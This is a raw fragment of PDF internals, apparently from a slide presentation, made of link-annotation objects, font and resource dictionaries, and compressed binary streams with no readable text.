5.96 260.708 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation15) >> >> endobj 787 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [258.716 5.96 265.69 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation16) >> >> endobj 788 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [263.697 5.96 270.671 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation16) >> >> endobj 789 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [268.679 5.96 275.652 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 790 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [275.071 5.96 282.044 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 791 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [280.052 5.96 287.026 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 792 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [285.033 5.96 292.007 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation16) >> >> endobj 793 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [290.014 5.96 296.988 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 794 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [296.406 5.96 303.38 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 795 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [301.388 5.96 308.362 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 796 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [306.369 5.96 313.343 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 797 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [311.35 5.96 318.324 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 798 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [317.742 5.96 328.701 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 799 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [326.709 5.96 339.66 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 800 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [339.078 5.96 348.045 15.425] /Subtype /Link /A<> >> endobj 801 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [346.052 5.96 354.022 15.425] /Subtype /Link /A<> >> endobj 802 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [352.03 5.96 360.996 15.425] /Subtype /Link /A<> >> endobj 803 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 264.495 182.414 271.878] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 804 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 259.104 182.414 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 805 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 253.713 182.414 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 806 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 248.323 182.414 255.706] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 807 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [180.421 259.104 363.831 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 808 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [180.421 253.713 363.831 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 809 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [181.43 -0.996 290.32 5.96] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 678 0 obj << /D [811 0 R /XYZ 334.488 1.245 null] >> endobj 814 0 obj << /D [811 0 R /XYZ 334.488 1.245 null] >> endobj 810 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F59 813 0 R /F56 205 0 R /F53 154 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm5 119 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Fm6 120 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 851 0 obj << /Length 1974 /Filter /FlateDecode >> stream xZs#5 _a^ !oܕk;Kҙ{$c7&%1MwײeKϲĵP#|ZFZb1WG֘-S6m u&JgST.O:sF\ HaL$^Z b2?:~ċ![K&J$qu^w6&9ũ8%,]&E'4E'h@ .1B Ĺ8zE\QpdneB%E #+G}6%n[QmrEގ"SXo;liσK PC&h;",#uQ>ATQ$a}V/'^+4)hp% B"h ǵ=AD|fJ ]W4 Ȩ6ޚɡuڞtbTRαD&Y /I55:p"Fً`W '?ƽ]zM5'ݟo14/D+"~uR=3D1mTС} nD2/Z4hc[' ^*FfB/tEb_]S\B$Zc6P- pkȿClYShe1WFjDb}3GL a 'sDc*쫁Qӂ1n84k1W]xH9K1vh#߾-we0fփ!#ͅ$U[(ңW쳻Zj =o*TuWk'V|T3aE<EqA9]w4 (~H*!⯇BcC4;c"qg&OJ`Pg950'Ȕ0hI[qp_=;MqV 仂-v1 }Hwn7A%(!i  -AO+Ŝ0\1x_'cv1sHwn7Xkb[sblx1 m`5 J hw}]"> /Parent 712 0 R /Annots [ 821 0 R 822 0 R 823 0 R 824 0 R 825 0 R 826 0 R 827 0 R 828 0 R 829 0 R 830 0 R 831 0 R 832 0 R 833 0 R 834 0 R 835 0 R 836 0 R 837 0 R 838 0 R 839 0 R 840 0 R 841 0 R 842 0 R 843 0 R 844 0 R 845 0 R 846 0 R 847 0 R 815 0 R 816 0 R 817 0 R 818 0 R 819 0 R 820 0 R 848 0 R ] >> endobj 821 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[0 1 1] /Rect [336.542 15.425 360.996 40.094] /Subtype/Link/A<> >> endobj 822 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [232.399 5.96 240.369 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation16) >> >> endobj 823 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [238.376 5.96 248.339 15.425] /Subtype /Link /A<> >> endobj 824 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [246.346 5.96 254.316 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation18) >> >> endobj 825 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [253.735 5.96 260.708 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation16) >> >> endobj 826 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [258.716 5.96 265.69 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 827 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [263.697 5.96 270.671 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 828 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [268.679 5.96 275.652 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation18) >> >> endobj 829 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [275.071 5.96 282.044 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation16) >> >> endobj 830 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [280.052 5.96 287.026 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 831 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [285.033 5.96 292.007 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 832 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [290.014 5.96 296.988 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 833 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [296.406 5.96 303.38 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 834 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [301.388 5.96 308.362 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 835 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [306.369 5.96 313.343 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 836 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [311.35 5.96 318.324 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 837 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [317.742 5.96 328.701 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 838 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [326.709 5.96 339.66 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 839 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [339.078 5.96 348.045 15.425] /Subtype /Link /A<> >> endobj 840 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [346.052 5.96 354.022 15.425] /Subtype /Link /A<> >> endobj 841 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [352.03 5.96 360.996 15.425] /Subtype /Link /A<> >> endobj 842 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 264.495 182.414 271.878] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 843 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 259.104 182.414 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 844 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 253.713 182.414 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 845 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 248.323 182.414 255.706] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 846 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [180.421 259.104 363.831 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 847 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [180.421 253.713 363.831 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 815 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [39.514 173.47 167.034 185.473] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 816 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [39.514 147.129 151.749 158.574] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 817 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [39.514 122.163 101.969 131.675] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 818 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [49.467 110.207 109.959 119.024] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 819 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [49.467 96.32 182.187 107.069] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 820 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [39.514 69.42 253.638 80.865] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 848 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [181.43 -0.996 290.32 5.96] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 29 0 obj << /D [850 0 R /XYZ 28.346 246.281 null] >> endobj 636 0 obj << /D [850 0 R /XYZ 334.488 1.245 null] >> endobj 852 0 obj << /D [850 0 R /XYZ 334.488 1.245 null] >> endobj 849 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F53 154 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm15 244 0 R /Fm20 641 0 R /Fm8 169 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 885 0 obj << /Length 2502 /Filter /FlateDecode >> stream xZs _\]8m^lB>K_D)ɗ&^F&~`3| +VT\bgov>Yyϭ+X帔 etV8ZSxtt@TJ𢞟yn֕aFȆyr/DXw 7ㅐ^Ry(r..>8o/`g, IS\go15"7AD8SOy]1y"Hcd)r`RoQx1 2I?qfy%'T`+4 Al;<9(Q9!M<DF! KغHK?ga 3ic> ~*PY-~4EhF;`<(5/A4A:R~C~FmӏB&s!j V2=Glj75Qa#/`&_aoW]V4vK}U&6'QߏKe8*j1mPK:&|Yj\^`>L9sV9M.щ;J=(%&s7~B!?l욿U2<ѯܕ374\͎'cFͻxg jq.OS)KTp sΒVn pQYհQP>EL (sB" f mhA6.)]b<_tŒ^iw ?>wIʛÛS*RX8fR$Km}J^CJX ioSe ː\Hu@xNXC14ř+m]'"[ >uZ$ҡ<:6q  heˢ,4ۼFSDM#9D 7uC)F%]Ңih! X\ G#L}q0 G$wdb2=h%T\C(=?^.#WL &$$2&kPBulbW6%U`P{ (y^8 ܓg-ۉ앐NI!`ХIe ^Qm`ktю{ܲrˮ-n9u][ۅSl4:=%R3"x; ՋM05U=MCrqbv,3(t >d&'}6[[;}$z'$j]XUay4X9{j4k.kn5IA8Ohn"ݝaqkʹ5@c`^Q4G/nK2 BcAC+HCV|.Xod"Ө[%cyI*;4q48j爝 x m3<4!8§@Tag eGuuEl"8-5u P2p,?FA袝:0.V,/QǨ&H@Tn6:r HkЋ(Eԉa1*6EA}{ UZyu|AM]FH{$rZ?H"XqfTul +I]~"npM^S2!] qƏ|m1frEҼSd>J¶8"/~`Ca6Dis>pC-cxęN!>0'#_ ?ip/@p~X-h_ǮuMqqs9I%-cݍY7Zpo谛ZY| |er!_ޗR1*_<|TŢK}.l]41V[pjw"> /Parent 712 0 R /Annots [ 855 0 R 856 0 R 857 0 R 858 0 R 859 0 R 860 0 R 861 0 R 862 0 R 863 0 R 864 0 R 865 0 R 866 0 R 867 0 R 868 0 R 869 0 R 870 0 R 871 0 R 872 0 R 873 0 R 874 0 R 875 0 R 876 0 R 877 0 R 878 0 R 879 0 R 880 0 R 881 0 R 882 0 R ] >> endobj 854 0 obj << /Type /XObject /Subtype /Form /BBox [0 0 3.778 3.778] /FormType 1 /Matrix [1 0 0 1 0 0] /Resources 888 0 R /Length 15 /Filter /FlateDecode >> stream xP( endstream endobj 888 0 obj << /Shading << /Sh << /ShadingType 3 /ColorSpace /DeviceRGB /Domain [0.0 1.8888] /Coords [1.23436 2.69772 0.0 1.8888 1.8888 1.8888] /Function << /FunctionType 3 /Domain [0.0 1.8888] /Functions [ << /FunctionType 2 /Domain [0.0 1.8888] /C0 [0.85236 0.85353 0.89471] /C1 [0.26178 0.26765 0.47354] /N 1 >> << /FunctionType 2 /Domain [0.0 1.8888] /C0 [0.26178 0.26765 0.47354] /C1 [0.01099 0.01646 0.20863] /N 1 >> << /FunctionType 2 /Domain [0.0 1.8888] /C0 [0.01099 0.01646 0.20863] /C1 [0.00784 0.01176 0.14903] /N 1 >> << /FunctionType 2 /Domain [0.0 1.8888] /C0 [0.00784 0.01176 0.14903] /C1 [0.99707 0.93333 0.75587] /N 1 >> ] /Bounds [ 0.58167 1.16342 1.59972] /Encode [0 1 0 1 0 1 0 1] >> /Extend [true false] >> >> /ProcSet [ /PDF ] >> endobj 855 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[0 1 1] /Rect [336.542 15.425 360.996 40.094] /Subtype/Link/A<> >> endobj 856 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [232.399 5.96 240.369 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 857 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [238.376 5.96 248.339 15.425] /Subtype /Link /A<> >> endobj 858 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [246.346 5.96 254.316 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation19) >> >> endobj 859 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [253.735 5.96 260.708 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 860 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [258.716 5.96 265.69 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation18) >> >> endobj 861 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [263.697 5.96 270.671 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation18) >> >> endobj 862 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [268.679 5.96 275.652 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation19) >> >> endobj 863 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [275.071 5.96 282.044 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation16) >> >> endobj 864 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [280.052 5.96 287.026 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 865 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [285.033 5.96 292.007 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 866 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [290.014 5.96 296.988 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 867 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [296.406 5.96 303.38 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 868 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [301.388 5.96 308.362 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 869 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [306.369 5.96 313.343 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 870 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [311.35 5.96 318.324 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 871 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [317.742 5.96 328.701 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 872 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [326.709 5.96 339.66 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 873 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [339.078 5.96 348.045 15.425] /Subtype /Link /A<> >> endobj 874 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [346.052 5.96 354.022 15.425] /Subtype /Link /A<> >> endobj 875 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [352.03 5.96 360.996 15.425] /Subtype /Link /A<> >> endobj 876 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 264.495 182.414 271.878] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 877 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 259.104 182.414 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 878 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 253.713 182.414 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 879 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 248.323 182.414 255.706] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 880 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [180.421 259.104 363.831 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 881 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [180.421 253.713 363.831 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 882 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [181.43 -0.996 290.32 5.96] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 853 0 obj << /D [884 0 R /XYZ 334.488 1.245 null] >> endobj 887 0 obj << /D [884 0 R /XYZ 334.488 1.245 null] >> endobj 883 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F14 592 0 R /F56 205 0 R /F84 886 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm5 119 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Fm6 120 0 R /Fm21 854 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 920 0 obj << /Length 2470 /Filter /FlateDecode >> stream xnF]_}H@H}-36Ȏ>l6Lӎˇ|L[U}%d&2]uwUqXuYhVa4qRWŠ S-b~ 铟ܺ5K)QZ/qm %}{8ݬ~z e\{jzp]/L3 C0'`& p\X~u& q>F|GN[;L̀Q6g j7up`\ !l~;.hjoG-;SpN@M$Y^ *\wHt=sAZ--ߝ\` 3uuޝB_ q<.g|"  }l Fވ7Vw&='C\l5Ҭdw<1\WohOfM^{s rZ^)KTp hHa 70-R~L-FjPk.t' qevA}(؅}?RU TJe$.t]y/Lb\›&B7cd#frY <$S[E),7uTbuҁbvuJP`;@U<!j"!yJ[׫j&P A\ZܧGZzQ񘛿98HiYUޠ)]d̀p&,5mcfF%!wL(" b"Boq@r08 <äR*pp<&= DUհ[ ih cs'bI*~ߧXpPmnp?XnwI*iGkKRqI t5g"/PuL9Si봩*[jAd!pJ޴Ym $mXܑHTݧ6EzjXFͬF ܽx> _z,AF .ldj *Vw@M^E5'Կ<Ɩ Y"dt!EF Ѱȝ=sHP/ҽ~~ϕ@,ġБ7۳|+[8K?(3ycv.7d7w -UX,36`CH,~2ѡ(IyJ"T,GP*Ӆ^,Ǵ%ހ0Zu<EP]UӕL!VjU#*m}+HpnWT?}FLD+C$)DL(*.9Ea_> JR"D{Koæwrwph0wTB12(^ChOQ ]i +o+ʝ?#9t9H"YC3%T(m$ѐ@qiѯ'dJ.zLy ( T*-km+âaP] ՘ɣOHTfO.AX^-Kw~[_._缜e(4EB:Ak }9vs > /Parent 922 0 R /Annots [ 890 0 R 891 0 R 892 0 R 893 0 R 894 0 R 895 0 R 896 0 R 897 0 R 898 0 R 899 0 R 900 0 R 901 0 R 902 0 R 903 0 R 904 0 R 905 0 R 906 0 R 907 0 R 908 0 R 909 0 R 910 0 R 911 0 R 912 0 R 913 0 R 914 0 R 915 0 R 916 0 R 917 0 R ] >> endobj 890 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[0 1 1] /Rect [336.542 15.425 360.996 40.094] /Subtype/Link/A<> >> endobj 891 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [232.399 5.96 240.369 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation18) >> >> endobj 892 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [238.376 5.96 248.339 15.425] /Subtype /Link /A<> >> endobj 893 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [246.346 5.96 254.316 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 894 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [253.735 5.96 260.708 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation18) >> >> endobj 895 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [258.716 5.96 265.69 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation19) >> >> endobj 896 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [263.697 5.96 270.671 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation19) >> >> endobj 897 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [268.679 5.96 275.652 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 898 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [275.071 5.96 282.044 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation16) >> >> endobj 899 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [280.052 5.96 287.026 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 900 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [285.033 5.96 292.007 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 901 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [290.014 5.96 296.988 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 902 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [296.406 5.96 303.38 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 903 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [301.388 5.96 308.362 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 904 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [306.369 5.96 313.343 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 905 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [311.35 5.96 318.324 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 906 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [317.742 5.96 328.701 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 907 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [326.709 5.96 339.66 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 908 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [339.078 5.96 348.045 15.425] /Subtype /Link /A<> >> endobj 909 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [346.052 5.96 354.022 15.425] /Subtype /Link /A<> >> endobj 910 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [352.03 5.96 360.996 15.425] /Subtype /Link /A<> >> endobj 911 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 264.495 182.414 271.878] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 912 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 259.104 182.414 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 913 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 253.713 182.414 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 914 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 248.323 182.414 255.706] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 915 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [180.421 259.104 363.831 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 916 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [180.421 253.713 363.831 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 917 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [181.43 -0.996 290.32 5.96] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 889 0 obj << /D [919 0 R /XYZ 334.488 1.245 null] >> endobj 921 0 obj << /D [919 0 R /XYZ 334.488 1.245 null] >> endobj 918 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << 